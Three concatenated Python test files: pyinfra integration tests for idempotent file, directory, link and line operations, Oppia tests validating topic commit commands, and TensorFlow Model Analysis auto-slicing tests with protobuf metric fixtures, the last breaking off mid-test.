''' Local integration tests - mostly checking for idempotency on file operations. ''' from shutil import rmtree from tempfile import mkdtemp import pytest @pytest.mark.int @pytest.mark.local def test_int_local_file_no_changes(helpers): temp_dir = mkdtemp() try: helpers.run( # first run = create the file 'pyinfra -v @local files.file _testfile', expected_lines=['@local] Success'], cwd=temp_dir, ) helpers.run( # second run = no changes 'pyinfra -v @local files.file _testfile', expected_lines=['@local] No changes'], cwd=temp_dir, ) finally: rmtree(temp_dir) @pytest.mark.int @pytest.mark.local def test_int_local_directory_no_changes(helpers): temp_dir = mkdtemp() try: helpers.run( # first run = create the directory 'pyinfra -v @local files.directory _testdir', expected_lines=['@local] Success'], cwd=temp_dir, ) helpers.run( # second run = no changes 'pyinfra -v @local files.directory _testdir', expected_lines=['@local] No changes'], cwd=temp_dir, ) helpers.run( # third run (remove) = remove directory 'pyinfra -v @local files.directory _testdir present=False', expected_lines=['@local] Success'], cwd=temp_dir, ) helpers.run( # fourth run (remove) = no chances 'pyinfra -v @local files.directory _testdir present=False', expected_lines=['@local] No changes'], cwd=temp_dir, ) finally: rmtree(temp_dir) @pytest.mark.int @pytest.mark.local def test_int_local_link_no_changes(helpers): temp_dir = mkdtemp() try: helpers.run( # first run = create the link 'pyinfra -v @local files.link _testlink target=_testfile', expected_lines=['@local] Success'], cwd=temp_dir, ) helpers.run( # second run = no changes 'pyinfra -v @local files.link _testlink target=_testfile', expected_lines=['@local] No changes'], cwd=temp_dir, ) finally: rmtree(temp_dir) @pytest.mark.int @pytest.mark.local def test_int_local_line_no_changes(helpers): temp_dir = mkdtemp() try: helpers.run( # first run = create the line 'pyinfra -v @local files.line _testfile someline', expected_lines=['@local] Success'], cwd=temp_dir, ) helpers.run( # second run = no changes 'pyinfra -v @local files.line _testfile someline', expected_lines=['@local] No changes'], cwd=temp_dir, ) helpers.run( # replace the line 'pyinfra -v @local files.line _testfile someline replace=anotherline', expected_lines=['@local] Success'], cwd=temp_dir, ) helpers.run( # second run replace the line = no changes 'pyinfra -v @local files.line _testfile someline replace=anotherline', expected_lines=['@local] No changes'], cwd=temp_dir, ) finally: rmtree(temp_dir) @pytest.mark.int @pytest.mark.local def test_int_local_pre_post_conditions(helpers): helpers.run( ( 'pyinfra -v @local server.shell uptime ' "precondition='exit 0' " "postcondition='exit 0'" ), expected_lines=['@local] Success'], ) @pytest.mark.int @pytest.mark.local def test_int_local_failed_precondition(helpers): helpers.run( "pyinfra -v @local server.shell uptime precondition='exit 1'", expected_lines=['@local] Error: precondition failed: exit 1'], expected_exit_code=1, ) @pytest.mark.int @pytest.mark.local def test_int_local_failed_postcondition(helpers): helpers.run( "pyinfra -v @local server.shell uptime postcondition='exit 1'", expected_lines=['@local] Error: postcondition failed: exit 1'], expected_exit_code=1, )
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19,045
py
Python
jobs/transforms/topic_validation_test.py
hardikkat24/oppia
c194b58bae8a1acdb6af1d123b0e1c9d7cca5fac
[ "Apache-2.0" ]
null
null
null
jobs/transforms/topic_validation_test.py
hardikkat24/oppia
c194b58bae8a1acdb6af1d123b0e1c9d7cca5fac
[ "Apache-2.0" ]
null
null
null
jobs/transforms/topic_validation_test.py
hardikkat24/oppia
c194b58bae8a1acdb6af1d123b0e1c9d7cca5fac
[ "Apache-2.0" ]
null
null
null
# coding: utf-8 # # Copyright 2021 The Oppia Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS-IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Unit tests for jobs.transforms.topic_validation.""" from __future__ import absolute_import # pylint: disable=import-only-modules from __future__ import unicode_literals # pylint: disable=import-only-modules import datetime from core.domain import topic_domain from core.platform import models from core.tests import test_utils from jobs import job_test_utils from jobs.decorators import validation_decorators from jobs.transforms import topic_validation from jobs.types import base_validation_errors from jobs.types import topic_validation_errors import apache_beam as beam (base_models, topic_models) = models.Registry.import_models( [models.NAMES.base_model, models.NAMES.topic]) class ValidateCanonicalNameMatchesNameInLowercaseTests( job_test_utils.PipelinedTestBase): NOW = datetime.datetime.utcnow() def test_process_for_not_matching_canonical_name(self): model_with_different_name = topic_models.TopicModel( id='123', name='name', created_on=self.NOW, last_updated=self.NOW, url_fragment='name-two', canonical_name='canonical_name', next_subtopic_id=1, language_code='en', subtopic_schema_version=0, story_reference_schema_version=0 ) output = ( self.pipeline | beam.Create([model_with_different_name]) | beam.ParDo( topic_validation.ValidateCanonicalNameMatchesNameInLowercase()) ) self.assert_pcoll_equal(output, [ topic_validation_errors.ModelCanonicalNameMismatchError( model_with_different_name) ]) def test_process_for_matching_canonical_name(self): model_with_same_name = topic_models.TopicModel( id='123', name='SOMEthing', created_on=self.NOW, last_updated=self.NOW, url_fragment='name-two', canonical_name='something', next_subtopic_id=1, language_code='en', subtopic_schema_version=0, story_reference_schema_version=0 ) output = ( self.pipeline | beam.Create([model_with_same_name]) | beam.ParDo( topic_validation.ValidateCanonicalNameMatchesNameInLowercase()) ) self.assert_pcoll_equal(output, []) class ValidateTopicSnapshotMetadataModelTests(job_test_utils.PipelinedTestBase): def test_validate_change_domain_implemented(self): valid_commit_cmd_model = topic_models.TopicSnapshotMetadataModel( id='123', created_on=self.YEAR_AGO, last_updated=self.NOW, committer_id='committer_id', commit_type='delete', commit_cmds=[{ 'cmd': base_models.VersionedModel.CMD_DELETE_COMMIT}]) output = ( self.pipeline | beam.Create([valid_commit_cmd_model]) | beam.ParDo( topic_validation.ValidateTopicSnapshotMetadataModel()) ) self.assert_pcoll_equal(output, []) def test_topic_change_object_with_missing_cmd(self): invalid_commit_cmd_model = topic_models.TopicSnapshotMetadataModel( id='123', created_on=self.YEAR_AGO, last_updated=self.NOW, committer_id='committer_id', commit_type='delete', commit_cmds=[{'invalid': 'data'}]) output = ( self.pipeline | beam.Create([invalid_commit_cmd_model]) | beam.ParDo( topic_validation.ValidateTopicSnapshotMetadataModel()) ) self.assert_pcoll_equal(output, [ base_validation_errors.CommitCmdsValidateError( invalid_commit_cmd_model, {'invalid': 'data'}, 'Missing cmd key in change dict') ]) def test_topic_change_object_with_invalid_cmd(self): invalid_commit_cmd_model = topic_models.TopicSnapshotMetadataModel( id='123', created_on=self.YEAR_AGO, last_updated=self.NOW, committer_id='committer_id', commit_type='delete', commit_cmds=[{'cmd': 'invalid'}]) output = ( self.pipeline | beam.Create([invalid_commit_cmd_model]) | beam.ParDo( topic_validation.ValidateTopicSnapshotMetadataModel()) ) self.assert_pcoll_equal(output, [ base_validation_errors.CommitCmdsValidateError( invalid_commit_cmd_model, {'cmd': 'invalid'}, 'Command invalid is not allowed') ]) def test_topic_change_object_with_missing_attribute_in_cmd(self): invalid_commit_cmd_model = topic_models.TopicSnapshotMetadataModel( id='123', created_on=self.YEAR_AGO, last_updated=self.NOW, committer_id='committer_id', commit_type='edit', commit_cmds=[{ 'cmd': 'update_topic_property', 'property_name': 'name', }]) output = ( self.pipeline | beam.Create([invalid_commit_cmd_model]) | beam.ParDo( topic_validation.ValidateTopicSnapshotMetadataModel()) ) self.assert_pcoll_equal(output, [ base_validation_errors.CommitCmdsValidateError( invalid_commit_cmd_model, { 'cmd': 'update_topic_property', 'property_name': 'name', }, 'The following required attributes are missing: ' 'new_value, old_value') ]) def test_topic_change_object_with_extra_attribute_in_cmd(self): invalid_commit_cmd_model = topic_models.TopicSnapshotMetadataModel( id='123', created_on=self.YEAR_AGO, last_updated=self.NOW, committer_id='committer_id', commit_type='create', commit_cmds=[{ 'cmd': 'add_subtopic', 'title': 'title', 'subtopic_id': 'subtopic_id', 'invalid': 'invalid' }]) output = ( self.pipeline | beam.Create([invalid_commit_cmd_model]) | beam.ParDo( topic_validation.ValidateTopicSnapshotMetadataModel()) ) self.assert_pcoll_equal(output, [ base_validation_errors.CommitCmdsValidateError( invalid_commit_cmd_model, { 'cmd': 'add_subtopic', 'title': 'title', 'subtopic_id': 'subtopic_id', 'invalid': 'invalid' }, 'The following extra attributes are present: invalid') ]) def test_topic_change_object_with_invalid_topic_property(self): invalid_commit_cmd_model = topic_models.TopicSnapshotMetadataModel( id='123', created_on=self.YEAR_AGO, last_updated=self.NOW, committer_id='committer_id', commit_type='edit', commit_cmds=[{ 'cmd': 'update_topic_property', 'property_name': 'invalid', 'old_value': 'old_value', 'new_value': 'new_value', }]) output = ( self.pipeline | beam.Create([invalid_commit_cmd_model]) | beam.ParDo( topic_validation.ValidateTopicSnapshotMetadataModel()) ) self.assert_pcoll_equal(output, [ base_validation_errors.CommitCmdsValidateError( invalid_commit_cmd_model, { 'cmd': 'update_topic_property', 'property_name': 'invalid', 'old_value': 'old_value', 'new_value': 'new_value', }, 'Value for property_name in cmd update_topic_property: ' 'invalid is not allowed') ]) def test_topic_change_object_with_invalid_subtopic_property(self): invalid_commit_cmd_model = topic_models.TopicSnapshotMetadataModel( id='123', created_on=self.YEAR_AGO, last_updated=self.NOW, committer_id='committer_id', commit_type='edit', commit_cmds=[{ 'cmd': 'update_subtopic_property', 'subtopic_id': 'subtopic_id', 'property_name': 'invalid', 'old_value': 'old_value', 'new_value': 'new_value', }]) output = ( self.pipeline | beam.Create([invalid_commit_cmd_model]) | beam.ParDo( topic_validation.ValidateTopicSnapshotMetadataModel()) ) self.assert_pcoll_equal(output, [ base_validation_errors.CommitCmdsValidateError( invalid_commit_cmd_model, { 'cmd': 'update_subtopic_property', 'subtopic_id': 'subtopic_id', 'property_name': 'invalid', 'old_value': 'old_value', 'new_value': 'new_value', }, 'Value for property_name in cmd update_subtopic_property: ' 'invalid is not allowed') ]) def test_topic_change_object_with_invalid_subtopic_page_property(self): invalid_commit_cmd_model = topic_models.TopicSnapshotMetadataModel( id='123', created_on=self.YEAR_AGO, last_updated=self.NOW, committer_id='committer_id', commit_type='edit', commit_cmds=[{ 'cmd': 'update_subtopic_page_property', 'subtopic_id': 'subtopic_id', 'property_name': 'invalid', 'old_value': 'old_value', 'new_value': 'new_value', }]) output = ( self.pipeline | beam.Create([invalid_commit_cmd_model]) | beam.ParDo( topic_validation.ValidateTopicSnapshotMetadataModel()) ) self.assert_pcoll_equal(output, [ base_validation_errors.CommitCmdsValidateError( invalid_commit_cmd_model, { 'cmd': 'update_subtopic_page_property', 'subtopic_id': 'subtopic_id', 'property_name': 'invalid', 'old_value': 'old_value', 'new_value': 'new_value', }, 'Value for property_name in cmd update_subtopic_page_property: ' 'invalid is not allowed') ]) class ValidateTopicRightsSnapshotMetadataModelTests( job_test_utils.PipelinedTestBase): def test_topic_rights_change_object_with_missing_cmd(self): invalid_commit_cmd_model = ( topic_models.TopicRightsSnapshotMetadataModel( id='123', created_on=self.YEAR_AGO, last_updated=self.NOW, committer_id='committer_id', commit_type='delete', commit_cmds=[{'invalid': 'data'}]) ) output = ( self.pipeline | beam.Create([invalid_commit_cmd_model]) | beam.ParDo( topic_validation.ValidateTopicRightsSnapshotMetadataModel()) ) self.assert_pcoll_equal(output, [ base_validation_errors.CommitCmdsValidateError( invalid_commit_cmd_model, {'invalid': 'data'}, 'Missing cmd key in change dict') ]) def test_topic_change_rights_object_with_invalid_cmd(self): invalid_commit_cmd_model = ( topic_models.TopicRightsSnapshotMetadataModel( id='123', created_on=self.YEAR_AGO, last_updated=self.NOW, committer_id='committer_id', commit_type='delete', commit_cmds=[{'cmd': 'invalid'}]) ) output = ( self.pipeline | beam.Create([invalid_commit_cmd_model]) | beam.ParDo( topic_validation.ValidateTopicRightsSnapshotMetadataModel()) ) self.assert_pcoll_equal(output, [ base_validation_errors.CommitCmdsValidateError( invalid_commit_cmd_model, {'cmd': 'invalid'}, 'Command invalid is not allowed') ]) def test_topic_rights_change_object_with_missing_attribute_in_cmd(self): commit_dict = { 'cmd': 'change_role', 'assignee_id': 'assignee_id', } invalid_commit_cmd_model = ( topic_models.TopicRightsSnapshotMetadataModel( id='123', created_on=self.YEAR_AGO, last_updated=self.NOW, committer_id='committer_id', commit_type='edit', commit_cmds=[commit_dict]) ) output = ( self.pipeline | beam.Create([invalid_commit_cmd_model]) | beam.ParDo( topic_validation.ValidateTopicRightsSnapshotMetadataModel()) ) self.assert_pcoll_equal(output, [ base_validation_errors.CommitCmdsValidateError( invalid_commit_cmd_model, commit_dict, 'The following required attributes are missing: ' 'new_role, old_role') ]) def test_topic_rights_change_object_with_extra_attribute_in_cmd(self): commit_dict = { 'cmd': 'publish_topic', 'invalid': 'invalid' } invalid_commit_cmd_model = ( topic_models.TopicRightsSnapshotMetadataModel( id='123', created_on=self.YEAR_AGO, last_updated=self.NOW, committer_id='committer_id', commit_type='create', commit_cmds=[commit_dict]) ) output = ( self.pipeline | beam.Create([invalid_commit_cmd_model]) | beam.ParDo( topic_validation.ValidateTopicRightsSnapshotMetadataModel()) ) self.assert_pcoll_equal(output, [ base_validation_errors.CommitCmdsValidateError( invalid_commit_cmd_model, commit_dict, 'The following extra attributes are present: invalid') ]) def test_topic_rights_change_object_with_invalid_role(self): commit_dict = { 'cmd': 'change_role', 'assignee_id': 'assignee_id', 'old_role': 'invalid', 'new_role': topic_domain.ROLE_MANAGER } invalid_commit_cmd_model = ( topic_models.TopicRightsSnapshotMetadataModel( id='123', created_on=self.YEAR_AGO, last_updated=self.NOW, committer_id='committer_id', commit_type='edit', commit_cmds=[commit_dict]) ) output = ( self.pipeline | beam.Create([invalid_commit_cmd_model]) | beam.ParDo( topic_validation.ValidateTopicRightsSnapshotMetadataModel()) ) self.assert_pcoll_equal(output, [ base_validation_errors.CommitCmdsValidateError( invalid_commit_cmd_model, commit_dict, 'Value for old_role in cmd change_role: ' 'invalid is not allowed') ]) class ValidateTopicCommitLogEntryModelTests(job_test_utils.PipelinedTestBase): def test_validate_rights_model(self): valid_commit_cmd_model = topic_models.TopicCommitLogEntryModel( id='rights_id123', created_on=self.YEAR_AGO, last_updated=self.NOW, commit_type='test-type', user_id='', topic_id='123', post_commit_status='private', commit_cmds=[{ 'cmd': base_models.VersionedModel.CMD_DELETE_COMMIT}]) output = ( self.pipeline | beam.Create([valid_commit_cmd_model]) | beam.ParDo( topic_validation.ValidateTopicCommitLogEntryModel()) ) self.assert_pcoll_equal(output, []) def test_validate_topic_model(self): valid_commit_cmd_model = topic_models.TopicCommitLogEntryModel( id='topic_id123', created_on=self.YEAR_AGO, last_updated=self.NOW, commit_type='test-type', user_id='', topic_id='123', post_commit_status='private', commit_cmds=[{ 'cmd': base_models.VersionedModel.CMD_DELETE_COMMIT}]) output = ( self.pipeline | beam.Create([valid_commit_cmd_model]) | beam.ParDo( topic_validation.ValidateTopicCommitLogEntryModel()) ) self.assert_pcoll_equal(output, []) def test_raises_commit_cmd_none_error(self): invalid_commit_cmd_model = topic_models.TopicCommitLogEntryModel( id='model_id123', created_on=self.YEAR_AGO, last_updated=self.NOW, commit_type='test-type', user_id='', topic_id='123', post_commit_status='private', commit_cmds=[{ 'cmd': base_models.VersionedModel.CMD_DELETE_COMMIT}]) output = ( self.pipeline | beam.Create([invalid_commit_cmd_model]) | beam.ParDo( topic_validation.ValidateTopicCommitLogEntryModel()) ) self.assert_pcoll_equal(output, [ base_validation_errors.CommitCmdsNoneError(invalid_commit_cmd_model) ]) class RelationshipsOfTests(test_utils.TestBase): def test_topic_summary_model_relationships(self): self.assertItemsEqual( validation_decorators.RelationshipsOf.get_model_kind_references( 'TopicSummaryModel', 'id'), ['TopicModel', 'TopicRightsModel'])
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f21009f9969e1bc05141965a6a80e81c5335db8d
22,605
py
Python
tensorflow_model_analysis/slicer/auto_slicing_util_test.py
atn832/model-analysis
a96a9665e57a12cb4d3ad1f366dc347347e3a96e
[ "Apache-2.0" ]
null
null
null
tensorflow_model_analysis/slicer/auto_slicing_util_test.py
atn832/model-analysis
a96a9665e57a12cb4d3ad1f366dc347347e3a96e
[ "Apache-2.0" ]
null
null
null
tensorflow_model_analysis/slicer/auto_slicing_util_test.py
atn832/model-analysis
a96a9665e57a12cb4d3ad1f366dc347347e3a96e
[ "Apache-2.0" ]
null
null
null
# Lint as: python3 # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for auto slicing utilities.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import tensorflow as tf from tensorflow_model_analysis.proto import metrics_for_slice_pb2 from tensorflow_model_analysis.slicer import auto_slicing_util from google.protobuf import text_format from tensorflow_metadata.proto.v0 import statistics_pb2 class AutoSlicingUtilTest(tf.test.TestCase): def test_find_significant_slices(self): metrics = [ text_format.Parse( """ slice_key { } metric_keys_and_values { key { name: "accuracy" } value { bounded_value { value { value: 0.8 } lower_bound { value: 0.5737843 } upper_bound { value: 1.0262157 } methodology: POISSON_BOOTSTRAP } confidence_interval { lower_bound { value: 0.5737843 } upper_bound { value: 1.0262157 } t_distribution_value { sample_mean { value: 0.8 } sample_standard_deviation { value: 0.1 } sample_degrees_of_freedom { value: 9 } unsampled_value { value: 0.8 } } } } } metric_keys_and_values { key { name: "example_count" } value { bounded_value { value { value: 1500 } lower_bound { value: 1500 } upper_bound { value: 1500 } methodology: POISSON_BOOTSTRAP } confidence_interval { lower_bound { value: 1500 } upper_bound { value: 1500 } t_distribution_value { sample_mean { value: 1500 } sample_standard_deviation { value: 0 } sample_degrees_of_freedom { value: 9 } unsampled_value { value: 1500 } } } } } """, metrics_for_slice_pb2.MetricsForSlice()), text_format.Parse( """ slice_key { single_slice_keys { column: 'age' bytes_value: '[1.0, 6.0)' } } metric_keys_and_values { key { name: "accuracy" } value { bounded_value { value { value: 0.4 } lower_bound { value: 0.3737843 } upper_bound { value: 0.6262157 } methodology: POISSON_BOOTSTRAP } confidence_interval { lower_bound { value: 0.3737843 } upper_bound { value: 0.6262157 } t_distribution_value { sample_mean { value: 0.4 } sample_standard_deviation { value: 0.1 } sample_degrees_of_freedom { value: 9 } unsampled_value { value: 0.4 } } } } } metric_keys_and_values { key { name: "example_count" } value { bounded_value { value { value: 500 } lower_bound { value: 500 } upper_bound { value: 500 } methodology: POISSON_BOOTSTRAP } confidence_interval { lower_bound { value: 500 } upper_bound { value: 500 } t_distribution_value { sample_mean { value: 500 } sample_standard_deviation { value: 0 } sample_degrees_of_freedom { value: 9 } unsampled_value { value: 500 } } } } } """, metrics_for_slice_pb2.MetricsForSlice()), text_format.Parse( """ slice_key { single_slice_keys { column: 'age' bytes_value: '[6.0, 12.0)' } } metric_keys_and_values { key { name: "accuracy" } value { bounded_value { value { value: 0.79 } lower_bound { value: 0.5737843 } upper_bound { value: 1.0262157 } methodology: POISSON_BOOTSTRAP } confidence_interval { lower_bound { value: 0.5737843 } upper_bound { value: 1.0262157 } t_distribution_value { sample_mean { value: 0.79 } sample_standard_deviation { value: 0.1 } sample_degrees_of_freedom { value: 9 } unsampled_value { value: 0.79 } } } } } metric_keys_and_values { key { name: "example_count" } value { bounded_value { value { value: 500 } lower_bound { value: 500 } upper_bound { value: 500 } methodology: POISSON_BOOTSTRAP } confidence_interval { lower_bound { value: 500 } upper_bound { value: 500 } t_distribution_value { sample_mean { value: 500 } sample_standard_deviation { value: 0 } sample_degrees_of_freedom { value: 9 } unsampled_value { value: 500} } } } } """, metrics_for_slice_pb2.MetricsForSlice()), text_format.Parse( """ slice_key { single_slice_keys { column: 'age' bytes_value: '[12.0, 18.0)' } } metric_keys_and_values { key { name: "accuracy" } value { bounded_value { value { value: 0.9 } lower_bound { value: 0.5737843 } upper_bound { value: 1.0262157 } methodology: POISSON_BOOTSTRAP } confidence_interval { lower_bound { value: 0.5737843 } upper_bound { value: 1.0262157 } t_distribution_value { sample_mean { value: 0.9 } sample_standard_deviation { value: 0.1 } sample_degrees_of_freedom { value: 9 } unsampled_value { value: 0.9 } } } } } metric_keys_and_values { key { name: "example_count" } value { bounded_value { value { value: 500 } lower_bound { value: 500 } upper_bound { value: 500 } methodology: POISSON_BOOTSTRAP } confidence_interval { lower_bound { value: 500 } upper_bound { value: 500 } t_distribution_value { sample_mean { value: 500 } sample_standard_deviation { value: 0 } sample_degrees_of_freedom { value: 9 } unsampled_value { value: 500} } } } } """, metrics_for_slice_pb2.MetricsForSlice()), text_format.Parse( """ slice_key { single_slice_keys { column: 'country' bytes_value: 'USA' } } metric_keys_and_values { key { name: "accuracy" } value { bounded_value { value { value: 0.9 } lower_bound { value: 0.5737843 } upper_bound { value: 1.0262157 } methodology: POISSON_BOOTSTRAP } confidence_interval { lower_bound { value: 0.5737843 } upper_bound { value: 1.0262157 } t_distribution_value { sample_mean { value: 0.9 } sample_standard_deviation { value: 0.1 } sample_degrees_of_freedom { value: 9 } unsampled_value { value: 0.9 } } } } } metric_keys_and_values { key { name: "example_count" } value { bounded_value { value { value: 500 } lower_bound { value: 500 } upper_bound { value: 500 } methodology: POISSON_BOOTSTRAP } confidence_interval { lower_bound { value: 500 } upper_bound { value: 500 } t_distribution_value { sample_mean { value: 500 } sample_standard_deviation { value: 0 } sample_degrees_of_freedom { value: 9 } unsampled_value { value: 500} } } } } """, metrics_for_slice_pb2.MetricsForSlice()), text_format.Parse( """ slice_key { single_slice_keys { column: 'country' bytes_value: 'USA' } single_slice_keys { column: 'age' bytes_value: '[12.0, 18.0)' } } metric_keys_and_values { key { name: "accuracy" } value { bounded_value { value { value: 0.9 } lower_bound { value: 0.5737843 } upper_bound { value: 1.0262157 } methodology: POISSON_BOOTSTRAP } confidence_interval { lower_bound { value: 0.5737843 } upper_bound { value: 1.0262157 } t_distribution_value { sample_mean { value: 0.9 } sample_standard_deviation { value: 0.1 } sample_degrees_of_freedom { value: 9 } unsampled_value { value: 0.9 } } } } } metric_keys_and_values { key { name: "example_count" } value { bounded_value { value { value: 500 } lower_bound { value: 500 } upper_bound { value: 500 } methodology: POISSON_BOOTSTRAP } confidence_interval { lower_bound { value: 500 } upper_bound { value: 500 } t_distribution_value { sample_mean { value: 500 } sample_standard_deviation { value: 0 } sample_degrees_of_freedom { value: 9 } unsampled_value { value: 500} } } } } """, metrics_for_slice_pb2.MetricsForSlice()) ] result = auto_slicing_util.partition_slices( metrics, metric_key='accuracy', comparison_type='LOWER') self.assertCountEqual([s.slice_key for s in result[0]], [(('age', '[1.0, 6.0)'),)]) self.assertCountEqual([s.slice_key for s in result[1]], [(('age', '[6.0, 12.0)'),), (('age', '[12.0, 18.0)'),), (('country', 'USA'),), (('country', 'USA'), ('age', '[12.0, 18.0)'))]) result = auto_slicing_util.partition_slices( metrics, metric_key='accuracy', comparison_type='HIGHER') self.assertCountEqual([s.slice_key for s in result[0]], [(('age', '[12.0, 18.0)'),), (('country', 'USA'),), (('country', 'USA'), ('age', '[12.0, 18.0)'))]) self.assertCountEqual([s.slice_key for s in result[1]], [(('age', '[1.0, 6.0)'),), (('age', '[6.0, 12.0)'),)]) def test_find_top_slices(self): input_slices = [ auto_slicing_util.SliceComparisonResult( slice_key=(('age', '[6.0, 12.0)'),), num_examples=1500.0, slice_metric=0.9, base_metric=0.8, p_value=0, effect_size=0.8, raw_slice_metrics=None), auto_slicing_util.SliceComparisonResult( slice_key=(('age', '[12.0, 18.0)'),), num_examples=500.0, slice_metric=0.9, base_metric=0.8, p_value=0.00001, effect_size=0.9, raw_slice_metrics=None), auto_slicing_util.SliceComparisonResult( slice_key=(('age', '[12.0, 18.0)'), ('country', 'USA')), num_examples=500.0, slice_metric=0.91, base_metric=0.8, p_value=0.000011, effect_size=0.91, raw_slice_metrics=None) ] self.assertCountEqual( auto_slicing_util.find_top_slices( input_slices, rank_by='EFFECT_SIZE', prune_subset_slices=False), [ auto_slicing_util.SliceComparisonResult( slice_key=(('age', '[12.0, 18.0)'), ('country', 'USA')), num_examples=500.0, slice_metric=0.91, base_metric=0.8, p_value=0.000011, effect_size=0.91, raw_slice_metrics=None), auto_slicing_util.SliceComparisonResult( slice_key=(('age', '[12.0, 18.0)'),), num_examples=500.0, slice_metric=0.9, base_metric=0.8, p_value=0.00001, effect_size=0.9, raw_slice_metrics=None), auto_slicing_util.SliceComparisonResult( slice_key=(('age', '[6.0, 12.0)'),), num_examples=1500.0, slice_metric=0.9, base_metric=0.8, p_value=0, effect_size=0.8, raw_slice_metrics=None), ]) self.assertCountEqual( auto_slicing_util.find_top_slices( input_slices, rank_by='EFFECT_SIZE', prune_subset_slices=True), [ auto_slicing_util.SliceComparisonResult( slice_key=(('age', '[12.0, 18.0)'),), num_examples=500.0, slice_metric=0.9, base_metric=0.8, p_value=0.00001, effect_size=0.9, raw_slice_metrics=None), auto_slicing_util.SliceComparisonResult( slice_key=(('age', '[6.0, 12.0)'),), num_examples=1500.0, slice_metric=0.9, base_metric=0.8, p_value=0, effect_size=0.8, raw_slice_metrics=None), ]) self.assertCountEqual( auto_slicing_util.find_top_slices(input_slices, rank_by='PVALUE'), [ auto_slicing_util.SliceComparisonResult( slice_key=(('age', '[6.0, 12.0)'),), num_examples=1500.0, slice_metric=0.9, base_metric=0.8, p_value=0, effect_size=0.8, raw_slice_metrics=None), auto_slicing_util.SliceComparisonResult( slice_key=(('age', '[12.0, 18.0)'),), num_examples=500.0, slice_metric=0.9, base_metric=0.8, p_value=0.00001, effect_size=0.9, raw_slice_metrics=None), ]) self.assertCountEqual( auto_slicing_util.find_top_slices( input_slices, min_num_examples=1000, rank_by='EFFECT_SIZE'), [ auto_slicing_util.SliceComparisonResult( slice_key=(('age', '[6.0, 12.0)'),), num_examples=1500.0, slice_metric=0.9, base_metric=0.8, p_value=0, effect_size=0.8, raw_slice_metrics=None), ]) def test_revert_slice_keys_for_transformed_features(self): statistics = text_format.Parse( """ datasets{ num_examples: 1500 features { path { step: 'country' } type: STRING string_stats { unique: 10 } } features { path { step: 'age' } type: INT num_stats { common_stats { num_non_missing: 1500 min_num_values: 1 max_num_values: 1 } min: 1 max: 18 histograms { buckets { low_value: 1 high_value: 6.0 sample_count: 500 } buckets { low_value: 6.0 high_value: 12.0 sample_count: 500 } buckets { low_value: 12.0 high_value: 18.0 sample_count: 500 } type: QUANTILES } } } } """, statistics_pb2.DatasetFeatureStatisticsList()) slices = [ auto_slicing_util.SliceComparisonResult( slice_key=(), num_examples=500.0, slice_metric=0.9, base_metric=0.8, p_value=0, effect_size=0.9, raw_slice_metrics=None), auto_slicing_util.SliceComparisonResult( slice_key=(('transformed_age', 1),), num_examples=500.0, slice_metric=0.9, base_metric=0.8, p_value=0, effect_size=0.9, raw_slice_metrics=None), auto_slicing_util.SliceComparisonResult( slice_key=(('transformed_age', 2),), num_examples=500.0, slice_metric=0.9, base_metric=0.8, p_value=0, effect_size=0.9, raw_slice_metrics=None), auto_slicing_util.SliceComparisonResult( slice_key=(('country', 'USA'),), num_examples=500.0, slice_metric=0.9, base_metric=0.8, p_value=0, effect_size=0.9, raw_slice_metrics=None), ] expected_slices = [ auto_slicing_util.SliceComparisonResult( slice_key=(), num_examples=500.0, slice_metric=0.9, base_metric=0.8, p_value=0, effect_size=0.9, raw_slice_metrics=None), auto_slicing_util.SliceComparisonResult( slice_key=(('age', '[1.0, 6.0)'),), num_examples=500.0, slice_metric=0.9, base_metric=0.8, p_value=0, effect_size=0.9, raw_slice_metrics=None), auto_slicing_util.SliceComparisonResult( slice_key=(('age', '[6.0, 12.0)'),), num_examples=500.0, slice_metric=0.9, base_metric=0.8, p_value=0, effect_size=0.9, raw_slice_metrics=None), auto_slicing_util.SliceComparisonResult( slice_key=(('country', 'USA'),), num_examples=500.0, slice_metric=0.9, base_metric=0.8, p_value=0, effect_size=0.9, raw_slice_metrics=None), ] actual = auto_slicing_util.revert_slice_keys_for_transformed_features( slices, statistics) self.assertEqual(actual, expected_slices) def test_remove_subset_slices(self): input_slices = [ auto_slicing_util.SliceComparisonResult( slice_key=(('age', '[12.0, 18.0)'),), num_examples=500.0, slice_metric=0.9, base_metric=0.8, p_value=0, effect_size=0.9, raw_slice_metrics=None), auto_slicing_util.SliceComparisonResult( slice_key=(('age', '[12.0, 18.0)'), ('country', 'USA')), num_examples=500.0, slice_metric=0.9, base_metric=0.8, p_value=0, effect_size=0.9, raw_slice_metrics=None), auto_slicing_util.SliceComparisonResult( slice_key=(('age', '[6.0, 12.0)'), ('country', 'UK')), num_examples=500.0, slice_metric=0.9, base_metric=0.8, p_value=0, effect_size=0.9, raw_slice_metrics=None), auto_slicing_util.SliceComparisonResult( slice_key=(('age', '[6.0, 12.0)'), ('country', 'UK'), ('sex', 'M')), num_examples=500.0, slice_metric=0.9, base_metric=0.8, p_value=0, effect_size=0.9, raw_slice_metrics=None), ] expected_slices = [ auto_slicing_util.SliceComparisonResult( slice_key=(('age', '[12.0, 18.0)'),), num_examples=500.0, slice_metric=0.9, base_metric=0.8, p_value=0, effect_size=0.9, raw_slice_metrics=None), auto_slicing_util.SliceComparisonResult( slice_key=(('age', '[6.0, 12.0)'), ('country', 'UK')), num_examples=500.0, slice_metric=0.9, base_metric=0.8, p_value=0, effect_size=0.9, raw_slice_metrics=None), ] self.assertCountEqual( auto_slicing_util.remove_subset_slices(input_slices), expected_slices) self.assertCountEqual(auto_slicing_util.remove_subset_slices([]), []) def test_is_significant_slice(self): self.assertEqual( auto_slicing_util._is_significant_slice(0.8, 0.001, 100, 0.9, 0.001, 1000, 'LOWER', 0.01)[0], True) # Test zero std. deviation for overall dataset. self.assertEqual( auto_slicing_util._is_significant_slice(0.8, 0.001, 100, 0.9, 0, 1000, 